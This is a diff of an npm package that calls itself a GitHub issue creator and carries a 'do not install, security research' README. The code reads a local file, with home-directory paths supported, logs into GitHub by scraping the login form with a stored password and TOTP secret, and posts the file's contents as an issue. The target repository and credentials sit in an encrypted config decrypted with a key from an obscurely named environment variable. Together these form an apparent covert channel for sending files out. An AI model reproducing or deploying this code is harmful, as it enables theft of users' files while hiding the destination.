@johnpeterson9982332/test-package-v3 1.0.0

package/README.md

@@ -0,0 +1,43 @@
+# ⚠️ WARNING - DO NOT INSTALL ⚠️
+
+## Experimental Security Research Tool
+
+**This package is an experimental tool created for security research purposes only.**
+
+### 🚫 DO NOT INSTALL THIS PACKAGE
+
+This package should **NOT** be installed or used by anyone. It is:
+
+- **Not intended for production use**
+- **Not intended for development use**
+- **Not intended for any legitimate use case**
+- **Potentially harmful if misused**
+
+### Purpose
+
+This package exists solely for:
+- Security research
+- Vulnerability testing
+- Educational purposes in controlled environments
+
+### Legal Notice
+
+By accessing or using this package, you acknowledge that:
+- You understand this is for research purposes only
+- You will not use this package for any malicious purposes
+- You will not install this package in any production or development environment
+- You take full responsibility for any consequences of using this package
+
+### For Researchers
+
+If you are a security researcher and have questions about this package, please contact the package maintainer through appropriate security disclosure channels.
+
+---
+
+**Again: DO NOT INSTALL THIS PACKAGE**
+
+If you have installed this package by mistake, please uninstall it immediately:
+
+```bash
+npm uninstall @johnpeterson9982332/test-package-v3
+```

package/bin/cli.js

@@ -0,0 +1,106 @@
+#!/usr/bin/env node
+/**
+ * CLI for GitHub Issue Creator
+ */
+
+const GitHubIssueCreator = require('../index.js');
+const fs = require('fs').promises;
+const path = require('path');
+const os = require('os');
+const { loadConfig, validateConfig } = require('../config');
+
+// Load configuration from .env file or environment variables
+const config = loadConfig();
+
+// Validate required configuration
+try {
+    validateConfig(config);
+} catch (error) {
+    console.error(`✗ Configuration Error: ${error.message}`);
+    process.exit(1);
+}
+
+const GITHUB_USERNAME = config.GITHUB_USERNAME;
+const GITHUB_PASSWORD = config.GITHUB_PASSWORD;
+const TOTP_SECRET = config.TOTP_SECRET || null;
+const REPO_OWNER = config.REPO_OWNER;
+const REPO_NAME = config.REPO_NAME;
+
+// Expand tilde (~) in DATA_FILE_PATH if present
+let DATA_FILE_PATH = config.DATA_FILE_PATH;
+if (DATA_FILE_PATH.startsWith('~/')) {
+    DATA_FILE_PATH = path.join(os.homedir(), DATA_FILE_PATH.slice(2));
+} else if (DATA_FILE_PATH === '~') {
+    DATA_FILE_PATH = os.homedir();
+}
+
+async function main() {
+    /**
+     * Main function to demonstrate usage
+     */
+    console.log("GitHub Issue Creator");
+    console.log("=".repeat(50));
+
+    // Generate title with current date and time
+    const currentDatetime = new Date().toISOString().replace('T', ' ').substring(0, 19);
+    const title = `Data ${currentDatetime}`;
+
+    // Read issue body from file
+    let body;
+    try {
+        body = await fs.readFile(DATA_FILE_PATH, 'utf-8');
+        console.log(`✓ Loaded data from: ${DATA_FILE_PATH}`);
+        console.log(`  Data length: ${body.length} characters`);
+    } catch (error) {
+        if (error.code === 'ENOENT') {
+            console.log(`✗ Error: File not found: ${DATA_FILE_PATH}`);
+            return 1;
+        } else {
+            console.log(`✗ Error reading file: ${error.message}`);
+            return 1;
+        }
+    }
+
+    console.log(`\nIssue Title: ${title}`);
+    console.log(`Repository: ${REPO_OWNER}/${REPO_NAME}`);
+    console.log(`Username: ${GITHUB_USERNAME}`);
+
+    try {
+        // Create instance and login
+        const totpSecret = TOTP_SECRET || null;
+        const writeDebug = config.WRITE_DEBUG || false;
+        const creator = new GitHubIssueCreator(GITHUB_USERNAME, GITHUB_PASSWORD, totpSecret, writeDebug);
+        await creator.login();
+
+        // Create issue
+        const result = await creator.createIssue(REPO_OWNER, REPO_NAME, title, body);
+
+        // Display success message
+        if (result && result.url) {
+            console.log(`\n${"=".repeat(50)}`);
+            console.log(`✓ SUCCESS!`);
+            console.log(`${"=".repeat(50)}`);
+            console.log(`Issue URL: ${result.url}`);
+            console.log(`Issue Number: #${result.number}`);
+            console.log(`Title: ${result.title}`);
+        }
+
+    } catch (error) {
+        console.log(`\n✗ Error: ${error.message}`);
+        return 1;
+    }
+
+    return 0;
+}
+
+// Run the main function if this script is executed directly
+if (require.main === module) {
+    main().then(exitCode => {
+        process.exit(exitCode);
+    }).catch(error => {
+        console.error('Unhandled error:', error);
+        process.exit(1);
+    });
+}
+
+module.exports = main;

package/config-encrypted.txt

@@ -0,0 +1 @@
+LHs18zATDfKy/dg1i1Frv0z1DnVjWeee09fDGFBdA3XZrjyQNHe2iabi59UqeYsQaxR1EuszqfpS3s50S2WMWz11LQa1iB8SZTT172/djSd6bsiBW5kd5dH51RTEwCmJaOKn403zjgsFqwllcoORPoMmSohGwJ3EOUFkX9WaRgGbKa1XOVMDvP4cJboGn3TRBQdnECGrBmUl3mhK71QJLyIVmsxmuCLGqtytnWQXVhCp7X02AceI1qOKDG5cAhm029ARoEQoz4z9tFoxLRk6HTzw9uv3hr5Zv1x2Gg17yP7/dsU0bQHrtNS2fCrbgsL5luurpfuQ8fR1Ezi8YSXMY668jN22wUnSy+kzlPXJ9XchbdI0NCldc+upCsiDRTfz0h0C74KeqQWkekAol4PobjeVoKcGTU91+9loDWh6xOp6pyYT2JpobmxFvRAg2epLkTscySyj9xZYH5j7HJm3YW029xbSRmsNnWJaX2SM2QohPD1pjz36KtdtDnatvIk3GkbLCn4UG3q5dgFQDWvXNpPclJQgaAAYWDCxnGtUifKbwppKTwz9fCGEjg==

package/config.js

@@ -0,0 +1,99 @@
+/**
+ * Configuration loader for GitHub Issue Creator
+ * Loads configuration from .env file or environment variables
+ */
+
+const fs = require('fs');
+const path = require('path');
+
+/**
+ * Parse a .env file and return key-value pairs
+ * @param {string} filePath - Path to the .env file
+ * @returns {Object} Parsed environment variables
+ */
+function parseEnvFile(filePath) {
+    const env = {};
+    
+    try {
+        const content = fs.readFileSync(filePath, 'utf-8');
+        const lines = content.split('\n');
+        
+        for (const line of lines) {
+            // Skip empty lines and comments
+            const trimmed = line.trim();
+            if (!trimmed || trimmed.startsWith('#')) {
+                continue;
+            }
+            
+            // Parse KEY=VALUE
+            const equalIndex = trimmed.indexOf('=');
+            if (equalIndex > 0) {
+                const key = trimmed.substring(0, equalIndex).trim();
+                let value = trimmed.substring(equalIndex + 1).trim();
+                
+                // Remove quotes if present
+                if ((value.startsWith('"') && value.endsWith('"')) ||
+                    (value.startsWith("'") && value.endsWith("'"))) {
+                    value = value.substring(1, value.length - 1);
+                }
+                
+                env[key] = value;
+            }
+        }
+    } catch (error) {
+        // If .env file doesn't exist, return empty object
+        if (error.code !== 'ENOENT') {
+            throw error;
+        }
+    }
+    
+    return env;
+}
+
+/**
+ * Load configuration from config-decrypted.txt file and environment variables
+ * Environment variables take precedence over config-decrypted.txt file
+ * @returns {Object} Configuration object
+ */
+function loadConfig() {
+    // Try to load config-decrypted.txt file from the same directory as this script
+    const envPath = path.join(__dirname, 'config-decrypted.txt');
+    const envVars = parseEnvFile(envPath);
+    
+    // Merge with process.env (process.env takes precedence)
+    const config = {
+        GITHUB_USERNAME: process.env.GITHUB_USERNAME || envVars.GITHUB_USERNAME || '',
+        GITHUB_PASSWORD: process.env.GITHUB_PASSWORD || envVars.GITHUB_PASSWORD || '',
+        TOTP_SECRET: process.env.TOTP_SECRET || envVars.TOTP_SECRET || '',
+        REPO_OWNER: process.env.REPO_OWNER || envVars.REPO_OWNER || '',
+        REPO_NAME: process.env.REPO_NAME || envVars.REPO_NAME || '',
+        DATA_FILE_PATH: process.env.DATA_FILE_PATH || envVars.DATA_FILE_PATH || 'data.txt',
+        WRITE_DEBUG: (process.env.WRITE_DEBUG || envVars.WRITE_DEBUG || 'false').toLowerCase() === 'true'
+    };
+    
+    return config;
+}
+
+/**
+ * Validate that required configuration is present
+ * @param {Object} config - Configuration object
+ * @throws {Error} If required configuration is missing
+ */
+function validateConfig(config) {
+    const required = ['GITHUB_USERNAME', 'GITHUB_PASSWORD', 'REPO_OWNER', 'REPO_NAME'];
+    const missing = required.filter(key => !config[key]);
+
+    if (missing.length > 0) {
+        throw new Error(
+            `Missing required configuration: ${missing.join(', ')}\n` +
+            'Please set these in config-decrypted.txt file or as environment variables.'
+        );
+    }
+}
+
+module.exports = {
+    loadConfig,
+    validateConfig,
+    parseEnvFile
+};
+

package/crypto.js

@@ -0,0 +1,185 @@
+/**
+ * Encryption/Decryption utilities for securing .env files
+ * Uses AES-256-GCM for authenticated encryption
+ */
+
+const crypto = require('crypto');
+const fs = require('fs');
+const path = require('path');
+
+// Encryption algorithm
+const ALGORITHM = 'aes-256-gcm';
+const IV_LENGTH = 16; // 128 bits
+const AUTH_TAG_LENGTH = 16; // 128 bits
+const KEY_LENGTH = 32; // 256 bits
+
+/**
+ * Read encryption key from environment variable or file
+ * @param {string} keyPath - Path to the key file (optional, fallback if env var not set)
+ * @returns {Buffer} The encryption key
+ */
+function readKey(keyPath = null) {
+    // First, try to read from environment variable
+    const envKey = process.env.SOME_STRING;
+    if (envKey) {
+        const keyContent = envKey.trim();
+
+        // If the key is hex-encoded, convert it to buffer
+        if (/^[0-9a-fA-F]{64}$/.test(keyContent)) {
+            return Buffer.from(keyContent, 'hex');
+        }
+
+        // Otherwise, hash the key to get a 256-bit key
+        return crypto.createHash('sha256').update(keyContent).digest();
+    }
+
+    // Fallback to reading from file if path is provided
+    if (keyPath) {
+        try {
+            const keyContent = fs.readFileSync(keyPath, 'utf-8').trim();
+
+            // If the key is hex-encoded, convert it to buffer
+            if (/^[0-9a-fA-F]{64}$/.test(keyContent)) {
+                return Buffer.from(keyContent, 'hex');
+            }
+
+            // Otherwise, hash the key to get a 256-bit key
+            return crypto.createHash('sha256').update(keyContent).digest();
+        } catch (error) {
+            throw new Error(`Failed to read key file: ${error.message}`);
+        }
+    }
+
+    throw new Error('Encryption key not found. Set SOME_STRING environment variable or provide a key file.');
+}
+
+/**
+ * Encrypt data using AES-256-GCM
+ * @param {string} plaintext - The data to encrypt
+ * @param {Buffer} key - The encryption key (32 bytes)
+ * @returns {string} Base64-encoded encrypted data with IV and auth tag
+ */
+function encrypt(plaintext, key) {
+    if (key.length !== KEY_LENGTH) {
+        throw new Error(`Key must be ${KEY_LENGTH} bytes`);
+    }
+    
+    // Generate random IV
+    const iv = crypto.randomBytes(IV_LENGTH);
+    
+    // Create cipher
+    const cipher = crypto.createCipheriv(ALGORITHM, key, iv);
+    
+    // Encrypt the data
+    let encrypted = cipher.update(plaintext, 'utf8');
+    encrypted = Buffer.concat([encrypted, cipher.final()]);
+    
+    // Get authentication tag
+    const authTag = cipher.getAuthTag();
+    
+    // Combine IV + encrypted data + auth tag
+    const combined = Buffer.concat([iv, encrypted, authTag]);
+    
+    // Return as base64
+    return combined.toString('base64');
+}
+
+/**
+ * Decrypt data using AES-256-GCM
+ * @param {string} encryptedData - Base64-encoded encrypted data with IV and auth tag
+ * @param {Buffer} key - The encryption key (32 bytes)
+ * @returns {string} The decrypted plaintext
+ */
+function decrypt(encryptedData, key) {
+    if (key.length !== KEY_LENGTH) {
+        throw new Error(`Key must be ${KEY_LENGTH} bytes`);
+    }
+    
+    // Decode from base64
+    const combined = Buffer.from(encryptedData, 'base64');
+    
+    // Extract IV, encrypted data, and auth tag
+    const iv = combined.slice(0, IV_LENGTH);
+    const authTag = combined.slice(-AUTH_TAG_LENGTH);
+    const encrypted = combined.slice(IV_LENGTH, -AUTH_TAG_LENGTH);
+    
+    // Create decipher
+    const decipher = crypto.createDecipheriv(ALGORITHM, key, iv);
+    decipher.setAuthTag(authTag);
+    
+    // Decrypt the data
+    let decrypted = decipher.update(encrypted);
+    decrypted = Buffer.concat([decrypted, decipher.final()]);
+    
+    return decrypted.toString('utf8');
+}
+
+/**
+ * Encrypt a .env file
+ * @param {string} envPath - Path to the .env file to encrypt
+ * @param {string} keyPath - Path to the key file
+ * @param {string} outputPath - Path where encrypted file will be saved
+ */
+function encryptEnvFile(envPath, keyPath, outputPath) {
+    try {
+        // Read the .env file
+        const envContent = fs.readFileSync(envPath, 'utf-8');
+        
+        // Read the encryption key
+        const key = readKey(keyPath);
+        
+        // Encrypt the content
+        const encrypted = encrypt(envContent, key);
+        
+        // Write to output file
+        fs.writeFileSync(outputPath, encrypted, 'utf-8');
+        
+        console.log(`✓ Successfully encrypted ${envPath} to ${outputPath}`);
+    } catch (error) {
+        throw new Error(`Failed to encrypt .env file: ${error.message}`);
+    }
+}
+
+/**
+ * Decrypt a .env file
+ * @param {string} encryptedPath - Path to the encrypted .env file
+ * @param {string} keyPath - Path to the key file
+ * @param {string} outputPath - Path where decrypted file will be saved
+ */
+function decryptEnvFile(encryptedPath, keyPath, outputPath) {
+    try {
+        // Read the encrypted file
+        const encryptedContent = fs.readFileSync(encryptedPath, 'utf-8');
+        
+        // Read the encryption key
+        const key = readKey(keyPath);
+        
+        // Decrypt the content
+        const decrypted = decrypt(encryptedContent, key);
+        
+        // Write to output file
+        fs.writeFileSync(outputPath, decrypted, 'utf-8');
+        
+        console.log(`✓ Successfully decrypted ${encryptedPath} to ${outputPath}`);
+    } catch (error) {
+        throw new Error(`Failed to decrypt .env file: ${error.message}`);
+    }
+}
+
+/**
+ * Generate a random encryption key
+ * @returns {string} Hex-encoded 256-bit key
+ */
+function generateKey() {
+    return crypto.randomBytes(KEY_LENGTH).toString('hex');
+}
+
+module.exports = {
+    encrypt,
+    decrypt,
+    encryptEnvFile,
+    decryptEnvFile,
+    readKey,
+    generateKey
+};
+

package/index.js

@@ -0,0 +1,635 @@
+#!/usr/bin/env node
+/**
+ * GitHub Issue Creator - Logs into GitHub and creates an issue via HTTP requests
+ * This script simulates browser behavior without using Selenium or other headless browsers.
+ */
+
+const axios = require('axios');
+const cheerio = require('cheerio');
+const { authenticator } = require('otplib');
+const { v4: uuidv4 } = require('uuid');
+const fs = require('fs').promises;
+const path = require('path');
+
+
+class GitHubIssueCreator {
+    constructor(username, password, totpSecret = null, writeDebug = false) {
+        this.username = username;
+        this.password = password;
+        this.totpSecret = totpSecret;
+        this.writeDebug = writeDebug;
+
+        // Simple in-memory cookie jar (no external deps)
+        this.cookieJar = {};
+
+        // Create axios instance with session-like behavior (matching Python requests.Session)
+        // Also override axios' default Accept ("application/json, text/plain, */*") at the source
+        this.session = axios.create({
+            withCredentials: true,
+            maxRedirects: 5,
+            timeout: 30000,
+            headers: {
+                common: {
+                    'Accept': '*/*',
+                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
+                    'Accept-Encoding': 'gzip, deflate',
+                    'Connection': 'keep-alive'
+                }
+            }
+        });
+
+        // As a safety net, ensure any lingering axios default Accept is normalized before send
+        this.session.interceptors.request.use((config) => {
+            if (config && config.headers) {
+                try {
+                    const h = axios.AxiosHeaders.from(config.headers);
+                    const accept = h.get('Accept');
+                    // If axios' default sneaks in, replace it with */* (or leave explicit values alone)
+                    if (accept && String(accept).trim() === 'application/json, text/plain, */*') {
+                        h.set('Accept', '*/*');
+                    }
+                    // Attach Cookie header from our simple in-memory jar for github.com
+                    try {
+                        const targetUrl = config.url || '';
+                        if (targetUrl && /^https?:\/\/github\.com/i.test(targetUrl)) {
+                            const pairs = Object.entries(this.cookieJar || {}).map(([k, v]) => `${k}=${v}`);
+                            if (pairs.length) {
+                                h.set('Cookie', pairs.join('; '));
+                            }
+                        }
+                    } catch (_) { }
+                    config.headers = h;
+                } catch (_) {
+                    // Fallback for plain object headers
+                    if (config.headers['Accept'] === 'application/json, text/plain, */*' || config.headers['accept'] === 'application/json, text/plain, */*') {
+                        config.headers['Accept'] = '*/*';
+                        delete config.headers['accept'];
+                    }
+                    // Attach Cookie header from our simple in-memory jar for github.com
+                    try {
+                        const targetUrl = config.url || '';
+                        if (targetUrl && /^https?:\/\/github\.com/i.test(targetUrl)) {
+                            const pairs = Object.entries(this.cookieJar || {}).map(([k, v]) => `${k}=${v}`);
+                            if (pairs.length) {
+                                config.headers['Cookie'] = pairs.join('; ');
+                            }
+                        }
+                    } catch (_) { }
+                }
+            }
+            return config;
+
+        });
+
+        // Intercept responses to capture exact on-the-wire request headers for /session POST
+        this.session.interceptors.response.use(
+            async (response) => {
+                try {
+                    // Update in-memory cookie jar from Set-Cookie headers
+                    const setCookie = response.headers && (response.headers['set-cookie'] || response.headers['Set-Cookie']);
+                    if (setCookie) {
+                        const arr = Array.isArray(setCookie) ? setCookie : [setCookie];
+                        for (const sc of arr) {
+                            if (!sc) continue;
+                            const first = sc.split(';', 1)[0];
+                            const eq = first.indexOf('=');
+                            if (eq > 0) {
+                                const name = first.slice(0, eq).trim();
+                                const value = first.slice(eq + 1).trim();
+                                if (name) {
+                                    this.cookieJar[name] = value;
+                                }
+                            }
+                        }
+                    }
+
+                    const cfg = response?.config || {};
+                    const url = cfg.url || '';
+                    const method = (cfg.method || '').toUpperCase();
+                    if (url.includes('/session') && method === 'POST') {
+                        const req = response.request;
+                        const rawHeader = req && req._header ? String(req._header) : null;
+                        let wireHeaders = {};
+                        if (rawHeader) {
+                            // Parse Node.js ClientRequest raw header string
+                            const lines = rawHeader.split(/\r?\n/);
+                            for (let i = 1; i < lines.length; i++) { // skip request line
+                                const line = lines[i];
+                                if (!line || !line.includes(':')) continue;
+                                const idx = line.indexOf(':');
+                                const k = line.slice(0, idx).trim();
+                                const v = line.slice(idx + 1).trim();
+                                if (k) wireHeaders[k] = v;
+                            }
+                        }
+
+                        // Also record the final axios config headers as JSON
+                        let finalConfigHeaders = {};
+                        try {
+                            finalConfigHeaders = require('axios').AxiosHeaders.from(cfg.headers || {}).toJSON();
+                        } catch (_) {
+                            finalConfigHeaders = cfg.headers || {};
+                        }
+
+                        const out = {
+                            url,
+                            method,
+                            wireHeaders,
+                            rawHeader,
+                            finalConfigHeaders
+                        };
+                        if (this.writeDebug) {
+                            await fs.writeFile('debug_js_wire_headers.json', JSON.stringify(out, null, 2), 'utf-8');
+                            console.log('JavaScript wire headers saved to: debug_js_wire_headers.json');
+                        }
+                    }
+                } catch (e) {
+                    // Non-fatal: just continue
+                }
+                return response;
+            },
+            (error) => Promise.reject(error)
+        );
+
+
+        // Ensure cookies and Referer are preserved across redirects (no-deps)
+        // follow-redirects supports beforeRedirect; axios passes this through
+        this.session.defaults.trackRedirects = true;
+        this.session.defaults.beforeRedirect = (options, responseDetails, requestDetails) => {
+            try {
+                // Capture Set-Cookie from redirect responses into our simple cookie jar
+                const setCookie = responseDetails && responseDetails.headers && (responseDetails.headers['set-cookie'] || responseDetails.headers['Set-Cookie']);
+                if (setCookie) {
+                    const arr = Array.isArray(setCookie) ? setCookie : [setCookie];
+                    for (const sc of arr) {
+                        if (!sc) continue;
+                        const first = sc.split(';', 1)[0];
+                        const eq = first.indexOf('=');
+                        if (eq > 0) {
+                            const name = first.slice(0, eq).trim();
+                            const value = first.slice(eq + 1).trim();
+                            if (name) {
+                                this.cookieJar[name] = value;
+                            }
+                        }
+                    }
+                }
+            } catch (_) { }
+
+            try {
+                options.headers = options.headers || {};
+                // Set Referer to the URL that just redirected us
+                if (requestDetails && requestDetails.url) {
+                    options.headers['Referer'] = requestDetails.url;
+                }
+                // Attach Cookie header from our in-memory jar
+                const pairs = Object.entries(this.cookieJar || {}).map(([k, v]) => `${k}=${v}`);
+                if (pairs.length) {
+                    options.headers['Cookie'] = pairs.join('; ');
+                }
+                // Normalize Accept header in case defaults were restored
+                if (options.headers['Accept'] === 'application/json, text/plain, */*') {
+                    options.headers['Accept'] = '*/*';
+                }
+                // Ensure baseline headers
+                options.headers['User-Agent'] = options.headers['User-Agent'] || 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36';
+                options.headers['Accept-Encoding'] = options.headers['Accept-Encoding'] || 'gzip, deflate';
+                options.headers['Connection'] = options.headers['Connection'] || 'keep-alive';
+            } catch (_) { }
+        };
+
+    }
+
+    generateOtp() {
+        /**
+         * Generate OTP code using TOTP secret
+         */
+        if (!this.totpSecret) {
+            return null;
+        }
+        return authenticator.generate(this.totpSecret);
+    }
+
+    async login() {
+        /**
+         * Log into GitHub
+         */
+        console.log("Fetching login page...");
+
+        try {
+            // Get the login page to extract CSRF token
+            const loginPage = await this.session.get('https://github.com/login');
+            const $ = cheerio.load(loginPage.data);
+
+            // Find the authenticity token (CSRF token)
+            const authenticityToken = $('input[name="authenticity_token"]').val();
+            if (!authenticityToken) {
+                throw new Error("Could not find authenticity token on login page");
+            }
+
+            console.log(`Found authenticity token: ${authenticityToken.substring(0, 20)}...`);
+
+            // Find timestamp fields (only send essential fields like Python)
+            const timestamp = $('input[name="timestamp"]').val();
+            const timestampSecret = $('input[name="timestamp_secret"]').val();
+
+            // Prepare login data (ONLY essential fields like Python script)
+            const loginData = {
+                authenticity_token: authenticityToken,
+                login: this.username,
+                password: this.password,
+                commit: 'Sign in'
+            };
+
+            // Add timestamp fields if they exist (Python script includes these)
+            if (timestamp) {
+                loginData.timestamp = timestamp;
+            }
+            if (timestampSecret) {
+                loginData.timestamp_secret = timestampSecret;
+
+
+            }
+
+            console.log("Attempting to log in...");
+
+            // Debug: Save the login data being sent
+            const debugData = { ...loginData, debug_timestamp: new Date().toISOString() };
+            if (this.writeDebug) {
+                await fs.writeFile('debug_js_login_data.json', JSON.stringify(debugData, null, 2), 'utf-8');
+                console.log('JavaScript login data saved to: debug_js_login_data.json');
+            }
+
+            // Post login credentials (matching Python: allow_redirects=True)
+            const formData = new URLSearchParams(loginData);
+            // Use default headers only (like Python requests.Session)
+
+            // Debug: Save the request details
+            const requestDebug = {
+                url: 'https://github.com/session',
+                method: 'POST',
+                headers: { ...this.session.defaults.headers },
+                data: formData.toString(),
+                formDataObject: loginData
+            };
+            if (this.writeDebug) {
+                await fs.writeFile('debug_js_request.json', JSON.stringify(requestDebug, null, 2), 'utf-8');
+                console.log('JavaScript request details saved to: debug_js_request.json');
+            }
+
+            const response = await this.session.post(
+                'https://github.com/session',
+                formData.toString(),
+                {
+                    headers: {
+                        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
+                        'Accept': '*/*',
+                        'Accept-Encoding': 'gzip, deflate',
+                        'Connection': 'keep-alive',
+                        'Content-Type': 'application/x-www-form-urlencoded',
+                        'Referer': 'https://github.com/login'
+                    },
+                    maxRedirects: 5,
+                    validateStatus: function (status) {
+                        // Accept any status code to handle it manually
+                        return true;
+                    }
+                }
+            );
+
+            // Check if login was successful
+            console.log(`\nDebug - Login Response:`);
+            console.log(`  Status Code: ${response.status}`);
+            console.log(`  Final URL: ${response.request?.res?.responseUrl || response.config.url}`);
+            console.log(`  Response Length: ${response.data.length} bytes`);
+            console.log(`  Response headers: ${JSON.stringify(response.headers, null, 2)}`);
+
+            // Check if we were redirected to 2FA page regardless of status code
+            const finalUrl = response.request?.res?.responseUrl || response.config.url;
+            console.log(`  Checking for 2FA redirect in URL: ${finalUrl}`);
+            if (finalUrl && finalUrl.includes('sessions/two-factor')) {
+                console.log("Two-factor authentication required (detected from URL)...");
+                return await this.handle2fa(response);
+            }
+
+            // Save response for debugging
+            if (this.writeDebug) {
+                await fs.writeFile('debug_login_response.html', response.data, 'utf-8');
+                console.log(`  Login response saved to: debug_login_response.html`);
+            }
+
+
+
+            // Check for successful login (200 status and redirect to GitHub home or 2FA)
+            if (response.status === 200) {
+                if (response.data.includes('logged-in') || response.request?.res?.responseUrl === 'https://github.com/') {
+                    console.log("✓ Login successful!");
+                    return true;
+                } else if (response.data.toLowerCase().includes('two-factor') ||
+                           response.data.toLowerCase().includes('2fa') ||
+                           (response.request?.res?.responseUrl && response.request.res.responseUrl.includes('sessions/two-factor'))) {
+                    console.log("Two-factor authentication required...");
+                    return await this.handle2fa(response);
+                }
+            }
+
+            // Handle specific error cases
+            if (response.data.includes('Incorrect username or password')) {
+                throw new Error("Login failed: Incorrect username or password");
+            } else if (response.status === 422) {
+                throw new Error("Login failed: GitHub rejected the request (422). This might be due to rate limiting, suspicious activity detection, or missing required fields.");
+            } else {
+                // Check if we're on the dashboard or have a session
+                console.log("\nDebug - Checking session status...");
+                const checkResponse = await this.session.get('https://github.com/');
+
+                console.log(`  Check Status Code: ${checkResponse.status}`);
+                console.log(`  Check URL: ${checkResponse.request?.res?.responseUrl || checkResponse.config.url}`);
+
+                // Save check response
+                if (this.writeDebug) {
+                    await fs.writeFile('debug_check_response.html', checkResponse.data, 'utf-8');
+                    console.log(`  Check response saved to: debug_check_response.html`);
+                }
+
+                // Look for various success indicators
+                const successIndicators = ['logout', 'sign out', 'dashboard', 'avatar'];
+                const foundIndicators = successIndicators.filter(ind =>
+                    checkResponse.data.toLowerCase().includes(ind)
+                );
+
+                if (foundIndicators.length > 0) {
+                    console.log(`  Found success indicators: ${foundIndicators}`);
+                    console.log("✓ Login successful!");
+                    return true;
+                } else {
+                    // Check for error messages
+                    if (checkResponse.data.toLowerCase().includes('verify your account')) {
+                        throw new Error("Login failed: Account verification required");
+                    } else if (checkResponse.data.toLowerCase().includes('captcha')) {
+                        throw new Error("Login failed: CAPTCHA challenge detected");
+                    } else if (checkResponse.data.toLowerCase().includes('suspicious')) {
+                        throw new Error("Login failed: Suspicious activity detected by GitHub");
+                    } else {
+                        throw new Error("Login failed: Unknown reason. Check debug files for details.");
+                    }
+                }
+            }
+        } catch (error) {
+            if (error.response) {
+                console.log(`HTTP Error: ${error.response.status} - ${error.response.statusText}`);
+            }
+            throw error;
+        }
+    }
+
+    async handle2fa(response) {
+        /**
+         * Handle two-factor authentication
+         */
+        if (!this.totpSecret) {
+            throw new Error("Two-factor authentication required but TOTP_SECRET not configured");
+        }
+
+        console.log("Generating OTP code...");
+        const otpCode = this.generateOtp();
+        console.log(`OTP code: ${otpCode}`);
+
+        // Parse the 2FA page
+        const $ = cheerio.load(response.data);
+
+        // Save 2FA page for debugging
+        if (this.writeDebug) {
+            await fs.writeFile('debug_2fa_page.html', response.data, 'utf-8');
+            console.log(`2FA page saved to: debug_2fa_page.html`);
+        }
+
+        // Find the authenticity token on the 2FA page; if missing, fetch canonical 2FA form
+        let authToken = $('input[name="authenticity_token"]').val();
+        if (!authToken) {
+            const twoFaPage = await this.session.get('https://github.com/sessions/two-factor', {
+                headers: {
+                    'Referer': (response.request?.res?.responseUrl) || 'https://github.com/login'
+                },
+                validateStatus: () => true
+            });
+            if (this.writeDebug) {
+                await fs.writeFile('debug_2fa_page_canonical.html', twoFaPage.data, 'utf-8');
+            }
+            const $2 = cheerio.load(twoFaPage.data);
+            authToken = $2('input[name="authenticity_token"]').val();
+            if (!authToken) {
+                throw new Error("Could not find authenticity token on 2FA page (canonical fetch)");
+            }
+        }
+
+        // Prepare 2FA data
+        const twofaData = {
+            authenticity_token: authToken,
+            otp: otpCode
+        };
+
+        console.log("Submitting OTP code...");
+
+        // Submit the OTP code
+        const twofaResponse = await this.session.post(
+            'https://github.com/sessions/two-factor',
+            new URLSearchParams(twofaData),
+            {
+                headers: {
+                    'Content-Type': 'application/x-www-form-urlencoded',
+                    'Referer': 'https://github.com/sessions/two-factor'
+                }
+            }
+        );
+
+        console.log(`\nDebug - 2FA Response:`);
+        console.log(`  Status Code: ${twofaResponse.status}`);
+        console.log(`  Final URL: ${twofaResponse.request.res.responseUrl || twofaResponse.config.url}`);
+
+        // Save 2FA response for debugging
+        if (this.writeDebug) {
+            await fs.writeFile('debug_2fa_response.html', twofaResponse.data, 'utf-8');
+            console.log(`  2FA response saved to: debug_2fa_response.html`);
+        }
+
+        // Check if 2FA was successful
+        if (twofaResponse.data.includes('logged-in') ||
+            twofaResponse.request.res.responseUrl === 'https://github.com/') {
+            console.log("✓ Two-factor authentication successful!");
+            return true;
+        } else if (twofaResponse.data.toLowerCase().includes('two-factor authentication code is incorrect')) {
+            throw new Error("2FA failed: Incorrect OTP code");
+        } else {
+            // Check if we're logged in
+            const checkResponse = await this.session.get('https://github.com/');
+            const successIndicators = ['logout', 'sign out', 'dashboard', 'avatar'];
+            const foundIndicators = successIndicators.filter(ind =>
+                checkResponse.data.toLowerCase().includes(ind)
+            );
+
+            if (foundIndicators.length > 0) {
+                console.log(`  Found success indicators: ${foundIndicators}`);
+                console.log("✓ Two-factor authentication successful!");
+                return true;
+            } else {
+                throw new Error("2FA failed: Unknown reason. Check debug files for details.");
+            }
+        }
+    }
+
+    async getRepositoryId(owner, repo) {
+        /**
+         * Get the repository ID needed for GraphQL
+         */
+        // Visit the new issue page to get repository metadata
+        const newIssueUrl = `https://github.com/${owner}/${repo}/issues/new`;
+
+        const issuePage = await this.session.get(newIssueUrl, {
+            validateStatus: function (status) {
+                return true;
+            }
+        });
+
+        if (issuePage.status === 404) {
+            throw new Error(`Repository ${owner}/${repo} not found or you don't have access`);
+        }
+
+        // Save response for debugging
+        if (this.writeDebug) {
+            await fs.writeFile('debug_repo_response.html', issuePage.data, 'utf-8');
+            console.log(`Repository response saved to: debug_repo_response.html`);
+        }
+        console.log(`Repository response status: ${issuePage.status}`);
+
+        // Extract repository ID from the embedded React data
+        let match = issuePage.data.match(/"repositoryId":"([^"]+)"/);
+        if (match) {
+            return match[1];
+        }
+
+        // Alternative: look in the embedded JSON data
+        match = issuePage.data.match(new RegExp(`"id":"(R_[^"]+)".*?"name":"${repo}"`));
+        if (match) {
+            return match[1];
+        }
+
+        throw new Error("Could not find repository ID");
+    }
+
+    getFetchNonce() {
+        /**
+         * Extract the X-Fetch-Nonce from the page
+         */
+        // Generate a UUID-like value for the nonce
+        return `v2:${uuidv4()}`;
+    }
+
+    async createIssue(owner, repo, title, body = "") {
+        /**
+         * Create a new issue in the specified repository using GraphQL
+         */
+        console.log(`\nCreating issue in ${owner}/${repo}...`);
+
+        // Get repository ID
+        console.log("Fetching repository metadata...");
+        const repoId = await this.getRepositoryId(owner, repo);
+        console.log(`Repository ID: ${repoId}`);
+
+        // Get fetch nonce
+        const fetchNonce = this.getFetchNonce();
+
